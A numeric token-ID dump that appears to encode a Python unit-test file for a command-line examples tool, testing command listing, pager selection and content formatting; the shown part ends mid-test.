1678,
11684,
353,
6024,
5431,
742,
525,
1646,
2033,
13,
13,
1678,
934,
29918,
10853,
353,
525,
29902,
626,
278,
8118,
310,
301,
29876,
29889,
3487,
6169,
13,
1678,
20917,
29918,
10853,
353,
525,
392,
306,
626,
278,
20917,
8118,
310,
301,
29876,
29889,
3487,
6169,
13,
13,
1678,
1243,
29918,
2917,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
29922,
19057,
29918,
3972,
29892,
13,
4706,
2888,
29918,
3972,
29922,
6341,
29918,
3972,
29892,
13,
4706,
2927,
29918,
2917,
29922,
2780,
29918,
2917,
29892,
13,
4706,
671,
29918,
2780,
29922,
1509,
29918,
2780,
29892,
13,
4706,
282,
1875,
29918,
9006,
29922,
29886,
1875,
29918,
9006,
29892,
13,
4706,
269,
802,
29872,
911,
29922,
29879,
802,
29872,
911,
29892,
13,
4706,
11684,
29922,
1491,
29879,
13,
1678,
1723,
13,
13,
1678,
2322,
29918,
24772,
353,
6024,
1688,
29899,
387,
29899,
3972,
29914,
3083,
29889,
3487,
2033,
13,
1678,
2888,
29918,
24772,
353,
6024,
1688,
29899,
6341,
29899,
3972,
29914,
3083,
29889,
3487,
2033,
13,
13,
1678,
822,
736,
29918,
15728,
29918,
2084,
10456,
5085,
29892,
3579,
19290,
1125,
13,
4706,
1824,
29918,
3207,
353,
6389,
29961,
29900,
29962,
13,
4706,
4516,
29918,
3207,
353,
6389,
29961,
29896,
29962,
13,
4706,
565,
1824,
29918,
3207,
2804,
11527,
29918,
8860,
29901,
13,
9651,
12020,
4408,
2392,
29898,
13,
18884,
525,
9684,
525,
718,
13,
18884,
11527,
29918,
8860,
718,
13,
18884,
13420,
2355,
525,
718,
13,
18884,
1824,
29918,
3207,
13,
9651,
1723,
13,
4706,
565,
4516,
29918,
3207,
1275,
6455,
29918,
3972,
29901,
13,
9651,
736,
2322,
29918,
24772,
13,
4706,
25342,
4516,
29918,
3207,
1275,
2888,
29918,
3972,
29901,
13,
9651,
736,
2888,
29918,
24772,
13,
4706,
1683,
29901,
13,
9651,
12020,
4408,
2392,
29898,
13,
18884,
525,
7085,
525,
718,
13,
18884,
4516,
29918,
3207,
718,
13,
18884,
13420,
3806,
525,
718,
13,
18884,
6455,
29918,
3972,
718,
13,
18884,
525,
470,
525,
718,
13,
18884,
2888,
29918,
3972,
29897,
13,
13,
1678,
11187,
29918,
4830,
29889,
2457,
29918,
1767,
353,
20917,
29918,
10853,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
2975,
29918,
15987,
353,
736,
29918,
15728,
29918,
2084,
13,
1678,
11187,
29918,
657,
29918,
10853,
29889,
2457,
29918,
1767,
353,
934,
29918,
10853,
13,
1678,
11187,
29918,
17863,
29889,
2457,
29918,
1767,
353,
11527,
29918,
8860,
13,
13,
1678,
3667,
29889,
8411,
29918,
8860,
29898,
13,
4706,
13995,
29918,
1454,
29918,
8860,
29892,
13,
4706,
1243,
29918,
2917,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
17863,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
13995,
29918,
1454,
29918,
8860,
29892,
13,
4706,
1243,
29918,
2917,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
1384,
29918,
4804,
29898,
13,
4706,
11527,
29918,
8860,
29892,
13,
4706,
6455,
29918,
3972,
13,
1678,
1723,
13,
1678,
11187,
29918,
657,
29918,
24772,
29889,
9294,
29918,
1384,
29918,
4804,
29898,
13,
4706,
11527,
29918,
8860,
29892,
13,
4706,
2888,
29918,
3972,
29892,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
657,
29918,
10853,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
2888,
29918,
24772,
29961,
29900,
1402,
13,
4706,
2322,
29918,
24772,
29961,
29900,
29962,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
4830,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
934,
29918,
10853,
29892,
13,
4706,
671,
29918,
2780,
29922,
1688,
29918,
2917,
29889,
1509,
29918,
2780,
29892,
13,
4706,
2927,
29918,
2917,
29922,
1688,
29918,
2917,
29889,
2780,
29918,
2917,
29892,
13,
4706,
269,
802,
29872,
911,
29922,
1688,
29918,
2917,
29889,
29879,
802,
29872,
911,
29892,
13,
4706,
11684,
29922,
1688,
29918,
2917,
29889,
1491,
29879,
13,
1678,
1723,
13,
13,
1678,
11187,
29918,
3488,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
4706,
20917,
29918,
10853,
29892,
13,
4706,
1243,
29918,
2917,
29889,
29886,
1875,
29918,
9006,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
1761,
29918,
974,
29918,
497,
29918,
23765,
29918,
26381,
29898,
7050,
3972,
1125,
13,
1678,
4516,
29918,
4773,
353,
13128,
3972,
29889,
11256,
3972,
877,
19057,
1495,
13,
1678,
4516,
29918,
6341,
353,
13128,
3972,
29889,
11256,
3972,
877,
6341,
1495,
13,
13,
1678,
2295,
353,
903,
3258,
29918,
2917,
29898,
13,
4706,
6455,
29918,
3972,
29922,
710,
29898,
3972,
29918,
4773,
511,
13,
4706,
2888,
29918,
3972,
29922,
710,
29898,
3972,
29918,
6341,
511,
13,
1678,
1723,
13,
13,
1678,
3806,
353,
518,
13,
4706,
525,
29874,
29899,
6194,
29899,
4381,
742,
13,
4706,
525,
29890,
29899,
20313,
334,
742,
13,
4706,
525,
29883,
29899,
6194,
29899,
6341,
718,
742,
13,
4706,
525,
29881,
29899,
6194,
29899,
6341,
29899,
27420,
718,
742,
13,
4706,
525,
29872,
29899,
6194,
29899,
4381,
29899,
27420,
742,
13,
4706,
525,
29888,
29899,
4381,
29899,
6341,
29899,
27420,
742,
13,
4706,
525,
29887,
29899,
20313,
29899,
29881,
15622,
29899,
5563,
29879,
334,
742,
13,
4706,
525,
29873,
29899,
29874,
29899,
6194,
29899,
4381,
29899,
19973,
1599,
263,
29899,
6194,
29899,
4381,
742,
13,
4706,
525,
29884,
29899,
29890,
29899,
20313,
29899,
19973,
1599,
289,
29899,
20313,
334,
742,
13,
4706,
525,
29894,
29899,
29883,
29899,
6194,
29899,
6341,
29899,
19973,
1599,
274,
29899,
6194,
29899,
6341,
718,
29915,
13,
1678,
4514,
13,
13,
1678,
14430,
2129,
353,
426,
13,
4706,
525,
29873,
29899,
29874,
29899,
6194,
29899,
4381,
29899,
19973,
2396,
525,
29874,
29899,
6194,
29899,
4381,
742,
13,
4706,
525,
29884,
29899,
29890,
29899,
20313,
29899,
19973,
2396,
525,
29890,
29899,
20313,
742,
13,
4706,
525,
29894,
29899,
29883,
29899,
6194,
29899,
6341,
29899,
19973,
2396,
525,
29883,
29899,
6194,
29899,
6341,
29915,
13,
1678,
500,
13,
13,
1678,
396,
8561,
278,
3884,
3829,
591,
2149,
29889,
13,
1678,
4516,
29918,
4773,
29918,
27420,
353,
4516,
29918,
4773,
29889,
11256,
3972,
877,
4381,
29899,
27420,
1495,
13,
1678,
4516,
29918,
6341,
29918,
27420,
353,
4516,
29918,
6341,
29889,
11256,
3972,
877,
6341,
29899,
27420,
1495,
13,
13,
1678,
4516,
29918,
4773,
29889,
7122,
877,
29874,
29899,
6194,
29899,
4381,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
4773,
29889,
7122,
877,
29890,
29899,
20313,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
1678,
4516,
29918,
6341,
29889,
7122,
877,
29890,
29899,
20313,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
6341,
29889,
7122,
877,
29883,
29899,
6194,
29899,
6341,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
6341,
29918,
27420,
29889,
7122,
877,
29881,
29899,
6194,
29899,
6341,
29899,
27420,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
4773,
29918,
27420,
29889,
7122,
877,
29872,
29899,
6194,
29899,
4381,
29899,
27420,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
4773,
29918,
27420,
29889,
7122,
877,
29888,
29899,
4381,
29899,
6341,
29899,
27420,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
4516,
29918,
4773,
29889,
7122,
877,
29887,
29899,
20313,
29899,
29881,
15622,
29899,
5563,
29879,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
1678,
4516,
29918,
6341,
29918,
27420,
29889,
7122,
877,
29887,
29899,
20313,
29899,
29881,
15622,
29899,
5563,
29879,
29889,
3487,
2824,
3539,
877,
5431,
1495,
13,
13,
1678,
396,
4803,
278,
525,
2541,
29915,
3030,
8455,
3265,
1135,
278,
732,
19557,
1061,
29892,
1363,
278,
13,
1678,
396,
13128,
3972,
5713,
15546,
1838,
29915,
29873,
1708,
7575,
411,
278,
10200,
1061,
29889,
13,
1678,
411,
13261,
877,
387,
29889,
4422,
29889,
657,
29918,
19973,
29918,
8977,
1495,
408,
11187,
29918,
657,
29918,
19973,
29901,
13,
4706,
11187,
29918,
657,
29918,
19973,
29889,
2457,
29918,
1767,
353,
14430,
2129,
13,
4706,
3935,
353,
3667,
29889,
657,
29918,
1761,
29918,
974,
29918,
497,
29918,
23765,
29918,
26381,
29898,
2917,
29897,
13,
4706,
4974,
3935,
1275,
3806,
13,
4706,
11187,
29918,
657,
29918,
19973,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
2917,
29897,
13,
13,
13,
1753,
1243,
29918,
1761,
29918,
23765,
29918,
8860,
29879,
29918,
29888,
2234,
29918,
3874,
346,
3730,
29918,
361,
29918,
1217,
29918,
3972,
29879,
7295,
13,
1678,
1243,
29918,
2917,
353,
903,
3258,
29918,
2917,
580,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
1761,
29918,
974,
29918,
497,
29918,
23765,
29918,
26381,
29898,
1688,
29918,
2917,
29897,
13,
1678,
3646,
353,
5159,
13,
13,
1678,
4974,
3935,
1275,
3646,
13,
13,
13,
1753,
1243,
29918,
29883,
4293,
29918,
17760,
29886,
1875,
29918,
361,
29918,
1333,
29918,
2222,
7295,
13,
1678,
9995,
13,
1678,
1334,
29915,
276,
4266,
3209,
292,
3109,
263,
2586,
29892,
408,
372,
338,
278,
2322,
995,
29892,
577,
565,
263,
2888,
13,
1678,
1899,
756,
1063,
731,
393,
338,
6058,
3109,
29892,
591,
881,
1246,
14282,
29886,
1875,
7812,
13,
1678,
3448,
29889,
13,
1678,
9995,
13,
1678,
903,
20907,
29918,
9294,
29918,
12717,
29918,
29886,
1875,
877,
3488,
592,
715,
29920,
742,
525,
4117,
742,
7700,
29897,
13,
13,
13,
1753,
1243,
29918,
29883,
4293,
29918,
11950,
1627,
29918,
29886,
1875,
29918,
361,
29918,
9290,
7295,
13,
1678,
9995,
13,
1678,
960,
282,
1875,
29918,
9006,
338,
6213,
29892,
591,
881,
925,
671,
278,
6416,
1627,
282,
1875,
29889,
13,
1678,
9995,
13,
1678,
903,
20907,
29918,
9294,
29918,
12717,
29918,
29886,
1875,
877,
3488,
592,
715,
29920,
742,
6213,
29892,
5852,
29897,
13,
13,
13,
1753,
1243,
29918,
29883,
4293,
29918,
17760,
29886,
1875,
29918,
361,
29918,
2222,
7295,
13,
1678,
9995,
13,
1678,
1334,
881,
1246,
14282,
29886,
1875,
565,
591,
2244,
304,
671,
3109,
322,
3109,
338,
5130,
373,
278,
13,
1678,
4933,
29889,
13,
1678,
9995,
13,
1678,
903,
20907,
29918,
9294,
29918,
12717,
29918,
29886,
1875,
877,
29874,
19231,
995,
304,
1813,
742,
525,
2222,
448,
29934,
742,
7700,
29897,
13,
13,
13,
1753,
1243,
29918,
29883,
4293,
29918,
11950,
1627,
29918,
361,
29918,
9006,
29918,
275,
29918,
15581,
29918,
1807,
7295,
13,
1678,
9995,
13,
1678,
1334,
526,
773,
263,
7353,
1347,
304,
12266,
565,
591,
881,
671,
278,
6416,
1627,
282,
1875,
29889,
13,
1678,
9995,
13,
1678,
903,
20907,
29918,
9294,
29918,
12717,
29918,
29886,
1875,
29898,
13,
4706,
525,
3488,
3025,
6416,
1627,
742,
13,
4706,
3667,
29889,
26516,
29918,
29943,
9818,
29933,
11375,
29892,
13,
4706,
5852,
13,
1678,
1723,
13,
13,
13,
29992,
5041,
877,
2272,
1514,
29889,
29886,
1875,
1495,
13,
29992,
5041,
877,
2272,
1514,
29889,
17760,
29886,
1875,
1495,
13,
1753,
903,
20907,
29918,
9294,
29918,
12717,
29918,
29886,
1875,
29898,
13,
1678,
851,
29918,
517,
29918,
3488,
29892,
13,
1678,
282,
1875,
29918,
9006,
29892,
13,
1678,
671,
29918,
11950,
1627,
29892,
13,
1678,
14282,
29886,
1875,
29892,
13,
1678,
2322,
29918,
29886,
1875,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
22305,
411,
408,
643,
1259,
1048,
282,
1875,
29889,
13,
13,
1678,
851,
29918,
517,
29918,
3488,
29901,
825,
366,
29915,
276,
282,
6751,
13,
1678,
282,
1875,
29918,
9006,
29901,
278,
1347,
366,
29915,
276,
6819,
304,
14282,
29886,
1875,
313,
272,
6213,
29897,
13,
1678,
671,
29918,
4381,
29901,
2089,
565,
591,
881,
2869,
671,
11451,
1514,
29889,
17760,
29886,
1875,
29892,
1565,
565,
591,
13,
4706,
2012,
526,
2675,
304,
6416,
1627,
304,
11451,
1514,
29889,
29886,
1875,
13,
1678,
9995,
13,
1678,
3667,
29889,
3488,
29918,
1807,
29898,
710,
29918,
517,
29918,
3488,
29892,
282,
1875,
29918,
9006,
29897,
13,
13,
1678,
565,
671,
29918,
11950,
1627,
29901,
13,
4706,
2322,
29918,
29886,
1875,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
710,
29918,
517,
29918,
3488,
29897,
13,
4706,
4974,
14282,
29886,
1875,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
1678,
1683,
29901,
13,
4706,
4974,
2322,
29918,
29886,
1875,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
4706,
14282,
29886,
1875,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
9651,
851,
29918,
517,
29918,
3488,
29892,
13,
9651,
9920,
29922,
29886,
1875,
29918,
9006,
13,
4706,
1723,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
2272,
1514,
29889,
17760,
29886,
1875,
742,
2625,
29918,
15987,
29922,
2558,
3377,
4074,
6685,
29897,
13,
1753,
1243,
29918,
3488,
29918,
1807,
29918,
19499,
29879,
29918,
1989,
3377,
29918,
1639,
6685,
29918,
361,
29918,
1333,
29918,
2222,
29898,
17760,
29886,
1875,
29918,
17640,
1125,
13,
1678,
9995,
13,
1678,
1938,
451,
4418,
746,
1404,
19572,
274,
11742,
29899,
29883,
1550,
297,
282,
1875,
29889,
13,
1678,
9995,
13,
1678,
1018,
29901,
13,
4706,
3667,
29889,
3488,
29918,
1807,
877,
3488,
592,
715,
29920,
742,
525,
4117,
1495,
13,
1678,
5174,
7670,
3377,
4074,
6685,
29901,
13,
4706,
12020,
16499,
291,
2392,
877,
26857,
451,
505,
2355,
445,
2215,
1495,
13,
1678,
14282,
29886,
1875,
29918,
17640,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
877,
3488,
592,
715,
29920,
742,
9920,
2433,
4117,
1495,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
2272,
1514,
29889,
29886,
1875,
742,
2625,
29918,
15987,
29922,
2558,
3377,
4074,
6685,
29897,
13,
1753,
1243,
29918,
3488,
29918,
1807,
29918,
19499,
29879,
29918,
1989,
3377,
29918,
1639,
6685,
29918,
361,
29918,
9290,
29898,
29886,
1875,
29918,
17640,
1125,
13,
1678,
9995,
13,
1678,
1938,
451,
4418,
746,
1404,
19572,
274,
11742,
29899,
29883,
1550,
297,
14282,
29886,
1875,
29889,
13,
1678,
9995,
13,
1678,
1018,
29901,
13,
4706,
3667,
29889,
3488,
29918,
1807,
877,
3488,
592,
715,
29920,
742,
6213,
29897,
13,
1678,
5174,
7670,
3377,
4074,
6685,
29901,
13,
4706,
12020,
16499,
291,
2392,
877,
26857,
451,
505,
2355,
445,
2215,
1495,
13,
1678,
282,
1875,
29918,
17640,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
877,
3488,
592,
715,
29920,
1495,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
10853,
29918,
3166,
29918,
5325,
29918,
3179,
793,
29918,
9290,
7295,
13,
1678,
9995,
13,
1678,
2812,
2349,
1347,
565,
694,
2066,
29889,
13,
1678,
9995,
13,
1678,
903,
20907,
29918,
9294,
29918,
1445,
29918,
10853,
29898,
13,
4706,
19997,
13,
4706,
6629,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
10853,
29918,
3166,
29918,
5325,
29918,
3179,
793,
29918,
650,
7295,
13,
1678,
934,
29918,
7192,
359,
353,
518,
13,
4706,
426,
13,
9651,
525,
2084,
2396,
525,
1688,
29914,
2084,
742,
13,
9651,
525,
10853,
2396,
525,
10853,
310,
934,
29915,
13,
4706,
500,
13,
1678,
4514,
13,
1678,
12420,
29918,
10853,
353,
525,
10853,
310,
934,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
1445,
29918,
10853,
29898,
13,
4706,
934,
29918,
7192,
359,
29892,
13,
4706,
12420,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
10853,
29918,
3166,
29918,
5325,
29918,
3179,
793,
29918,
20787,
7295,
13,
1678,
934,
29918,
7192,
359,
353,
518,
13,
4706,
426,
13,
9651,
525,
2084,
2396,
525,
2084,
29914,
29896,
742,
13,
9651,
525,
10853,
2396,
525,
5431,
29905,
29876,
29915,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
2084,
2396,
525,
2084,
29914,
29906,
29914,
5431,
742,
13,
9651,
525,
10853,
2396,
525,
1646,
29905,
29876,
29915,
13,
4706,
2981,
13,
4706,
426,
13,
9651,
525,
2084,
2396,
525,
23327,
29914,
2084,
742,
13,
9651,
525,
10853,
2396,
525,
27975,
29915,
13,
4706,
500,
13,
1678,
4514,
13,
13,
1678,
12420,
29918,
10853,
353,
525,
5431,
29905,
29876,
1646,
29905,
9877,
834,
29915,
13,
13,
1678,
903,
20907,
29918,
9294,
29918,
1445,
29918,
10853,
29898,
13,
4706,
934,
29918,
7192,
359,
29892,
13,
4706,
12420,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
3032,
657,
29918,
10853,
29918,
974,
29918,
1445,
1495,
13,
1753,
903,
20907,
29918,
9294,
29918,
1445,
29918,
10853,
29898,
13,
1678,
934,
29918,
7192,
359,
29892,
13,
1678,
3646,
29918,
10853,
29892,
13,
1678,
679,
29918,
10853,
29918,
17640,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
6162,
546,
1158,
304,
4974,
2712,
1048,
278,
679,
29918,
10853,
29918,
3166,
29918,
5325,
1158,
29889,
13,
1678,
5538,
451,
2869,
7124,
278,
8086,
29889,
13,
13,
1678,
934,
29918,
7192,
359,
29901,
1409,
310,
426,
2224,
29892,
8118,
500,
9657,
29879,
15783,
2066,
29889,
4398,
577,
13,
4706,
393,
591,
508,
4974,
1571,
1797,
5432,
13,
1678,
3646,
29918,
10853,
29901,
278,
2186,
12420,
8118,
393,
881,
367,
4133,
491,
278,
13,
4706,
679,
29918,
10853,
29918,
3166,
29918,
5325,
1158,
29889,
13,
1678,
9995,
13,
13,
1678,
396,
910,
1158,
674,
367,
1304,
491,
278,
11187,
6890,
304,
736,
278,
1492,
934,
13,
1678,
396,
8118,
2729,
373,
278,
934,
1024,
29889,
13,
1678,
822,
736,
29918,
1445,
29918,
10853,
10456,
5085,
29892,
3579,
19290,
1125,
13,
4706,
363,
934,
29918,
3888,
297,
934,
29918,
7192,
359,
29901,
13,
9651,
565,
934,
29918,
3888,
1839,
2084,
2033,
1275,
6389,
29961,
29900,
5387,
13,
18884,
736,
934,
29918,
3888,
1839,
10853,
2033,
13,
4706,
12020,
20948,
877,
18361,
451,
1284,
2224,
297,
1243,
5446,
1495,
13,
13,
1678,
679,
29918,
10853,
29918,
17640,
29889,
2975,
29918,
15987,
353,
736,
29918,
1445,
29918,
10853,
13,
13,
1678,
10898,
353,
518,
295,
1839,
2084,
2033,
363,
560,
297,
934,
29918,
7192,
359,
29962,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
10853,
29918,
3166,
29918,
5325,
10456,
24772,
29897,
13,
1678,
4974,
3935,
1275,
3646,
29918,
10853,
13,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
2780,
1891,
29918,
10853,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
29879,
802,
6096,
287,
29918,
10853,
1495,
13,
29992,
5041,
877,
387,
29889,
4422,
29889,
657,
29918,
22492,
277,
3860,
29918,
10853,
1495,
13,
1753,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
1678,
6257,
29918,
10853,
29892,
13,
1678,
671,
29918,
2780,
29892,
13,
1678,
2927,
29918,
2917,
29892,
13,
1678,
269,
802,
29872,
911,
29892,
13,
1678,
11684,
29892,
13,
1678,
2927,
1891,
29918,
10853,
29892,
13,
1678,
269,
802,
6096,
287,
29918,
10853,
29892,
13,
1678,
1014,
2580,
29918,
10853,
29892,
13,
1678,
20917,
29918,
2914,
29892,
13,
1678,
1014,
29918,
5696,
29892,
13,
1678,
269,
802,
29872,
911,
29918,
5696,
29892,
13,
1678,
2927,
29918,
5696,
29892,
13,
1125,
13,
1678,
9995,
13,
1678,
6162,
546,
1158,
304,
6985,
297,
408,
643,
1259,
2712,
1048,
278,
13,
1678,
679,
29918,
689,
19667,
29918,
10853,
1158,
29889,
13,
13,
1678,
6257,
29918,
10853,
29901,
278,
6257,
1347,
393,
591,
526,
1985,
411,
13,
1678,
671,
29918,
2780,
29901,
5852,
565,
591,
881,
671,
2927,
13,
1678,
2927,
29918,
2917,
29901,
278,
2927,
2295,
304,
367,
4502,
304,
679,
29918,
2780,
1891,
29918,
10853,
13,
1678,
269,
802,
29872,
911,
29901,
5852,
565,
591,
881,
269,
802,
29872,
911,
13,
1678,
11684,
29901,
278,
1051,
310,
3323,
303,
5008,
29879,
393,
591,
881,
1209,
304,
13,
4706,
679,
29918,
22492,
277,
3860,
29918,
10853,
13,
1678,
28684,
29918,
10853,
29901,
278,
1121,
310,
679,
29918,
2780,
1891,
29918,
10853,
13,
1678,
269,
802,
6096,
287,
29918,
10853,
29901,
278,
1121,
310,
679,
29918,
29879,
802,
6096,
287,
29918,
10853,
13,
1678,
1014,
2580,
29918,
10853,
29901,
278,
1121,
310,
1014,
2580,
29918,
10853,
13,
1678,
20917,
29918,
2914,
29901,
278,
2186,
29892,
20917,
1347,
393,
881,
367,
4133,
13,
1678,
9995,
13,
1678,
1014,
29918,
5696,
29889,
2457,
29918,
1767,
353,
1014,
2580,
29918,
10853,
13,
1678,
269,
802,
29872,
911,
29918,
5696,
29889,
2457,
29918,
1767,
353,
269,
802,
6096,
287,
29918,
10853,
13,
1678,
2927,
29918,
5696,
29889,
2457,
29918,
1767,
353,
2927,
1891,
29918,
10853,
13,
13,
1678,
3935,
353,
3667,
29889,
657,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
671,
29918,
2780,
29892,
13,
4706,
2927,
29918,
2917,
29892,
13,
4706,
269,
802,
29872,
911,
29892,
13,
4706,
11684,
13,
1678,
1723,
13,
13,
1678,
396,
1334,
29915,
645,
2767,
278,
8118,
408,
896,
679,
20917,
304,
1207,
1854,
13,
1678,
396,
591,
1209,
278,
1492,
2655,
304,
278,
5164,
3519,
29889,
13,
1678,
8118,
29918,
386,
375,
29918,
15641,
353,
6257,
29918,
10853,
13,
13,
1678,
565,
671,
29918,
2780,
29901,
13,
4706,
2927,
29918,
5696,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
9651,
8118,
29918,
386,
375,
29918,
15641,
29892,
13,
9651,
2927,
29918,
2917,
13,
4706,
1723,
13,
4706,
8118,
29918,
386,
375,
29918,
15641,
353,
2927,
1891,
29918,
10853,
13,
1678,
1683,
29901,
13,
4706,
4974,
2927,
29918,
5696,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
1678,
565,
269,
802,
29872,
911,
29901,
13,
4706,
269,
802,
29872,
911,
29918,
5696,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
10853,
29918,
386,
375,
29918,
15641,
29897,
13,
4706,
8118,
29918,
386,
375,
29918,
15641,
353,
269,
802,
6096,
287,
29918,
10853,
13,
1678,
1683,
29901,
13,
4706,
4974,
269,
802,
29872,
911,
29918,
5696,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
1678,
565,
11684,
29901,
13,
4706,
1014,
29918,
5696,
29889,
9294,
29918,
13998,
29918,
10646,
29918,
2541,
29898,
13,
9651,
8118,
29918,
386,
375,
29918,
15641,
29892,
13,
9651,
11684,
13,
4706,
1723,
13,
4706,
8118,
29918,
386,
375,
29918,
15641,
353,
1014,
2580,
29918,
10853,
13,
1678,
1683,
29901,
13,
4706,
4974,
1014,
29918,
5696,
29889,
4804,
29918,
2798,
1275,
29871,
29900,
13,
13,
1678,
4974,
3935,
1275,
20917,
29918,
2914,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
689,
19667,
29918,
10853,
29918,
13221,
29918,
1333,
29918,
4830,
29918,
23515,
29918,
361,
29918,
497,
29918,
4541,
29891,
7295,
13,
1678,
9995,
13,
1678,
1334,
881,
15928,
5642,
310,
278,
883,
2620,
3519,
565,
278,
13449,
526,
2089,
322,
13,
1678,
11684,
338,
451,
8760,
29891,
29889,
13,
1678,
9995,
13,
1678,
6257,
29918,
10853,
353,
525,
1366,
338,
988,
591,
1369,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
7700,
29892,
13,
4706,
525,
5372,
2927,
2295,
742,
13,
4706,
7700,
29892,
13,
4706,
6213,
29892,
13,
4706,
525,
1366,
471,
28684,
742,
13,
4706,
525,
1366,
471,
269,
802,
6096,
287,
742,
13,
4706,
525,
386,
968,
8118,
892,
1014,
2580,
742,
13,
4706,
6257,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
689,
19667,
29918,
10853,
29918,
29883,
4293,
29918,
2780,
675,
29918,
361,
29918,
1509,
29918,
2780,
7295,
13,
1678,
9995,
13,
1678,
9159,
675,
278,
8118,
565,
671,
29918,
2780,
353,
5852,
29889,
13,
1678,
9995,
13,
1678,
6257,
29918,
10853,
353,
525,
1366,
338,
988,
591,
1369,
29915,
13,
1678,
2927,
1891,
29918,
10853,
353,
525,
15032,
1955,
26664,
3352,
29901,
445,
338,
988,
591,
1369,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
5852,
29892,
13,
4706,
525,
5372,
2927,
2295,
742,
13,
4706,
7700,
29892,
13,
4706,
6213,
29892,
13,
4706,
2927,
1891,
29918,
10853,
29892,
13,
4706,
525,
1366,
471,
269,
802,
6096,
287,
742,
13,
4706,
525,
386,
968,
8118,
892,
1014,
2580,
742,
13,
4706,
2927,
1891,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
689,
19667,
29918,
10853,
29918,
29879,
802,
6096,
267,
7295,
13,
1678,
9995,
3644,
269,
802,
29872,
911,
29892,
591,
817,
304,
269,
802,
29872,
911,
1213,
15945,
13,
1678,
6257,
29918,
10853,
353,
525,
1366,
338,
988,
591,
1369,
29915,
13,
1678,
269,
802,
6096,
287,
29918,
10853,
353,
525,
1366,
338,
278,
1121,
310,
263,
269,
802,
6096,
292,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
7700,
29892,
13,
4706,
525,
5372,
2927,
2295,
742,
13,
4706,
5852,
29892,
13,
4706,
6213,
29892,
13,
4706,
525,
1366,
471,
28684,
742,
13,
4706,
269,
802,
6096,
287,
29918,
10853,
29892,
13,
4706,
525,
386,
968,
8118,
892,
1014,
2580,
742,
13,
4706,
269,
802,
6096,
287,
29918,
10853,
13,
1678,
1723,
13,
13,
13,
1753,
1243,
29918,
657,
29918,
689,
19667,
29918,
10853,
29918,
1491,
29879,
277,
2667,
7295,
13,
1678,
9995,
3644,
11684,
338,
8760,
29891,
29892,
679,
29918,
22492,
277,
3860,
8118,
881,
367,
2000,
1213,
15945,
13,
1678,
6257,
29918,
10853,
353,
525,
1366,
338,
988,
591,
1369,
29915,
13,
1678,
1014,
2580,
29918,
10853,
353,
525,
22492,
277,
3860,
763,
263,
15703,
29915,
13,
1678,
903,
20907,
29918,
9294,
29918,
689,
19667,
29918,
10853,
29898,
13,
4706,
6257,
29918,
10853,
29892,
13,
4706,
7700,
29892,
13,
4706,
525,
5372,
2927,
2295,
742,
13,
4706,
7700,
29892,
13,
4706,
6024,
509,
2806,
29891,
742,
525,
1761,
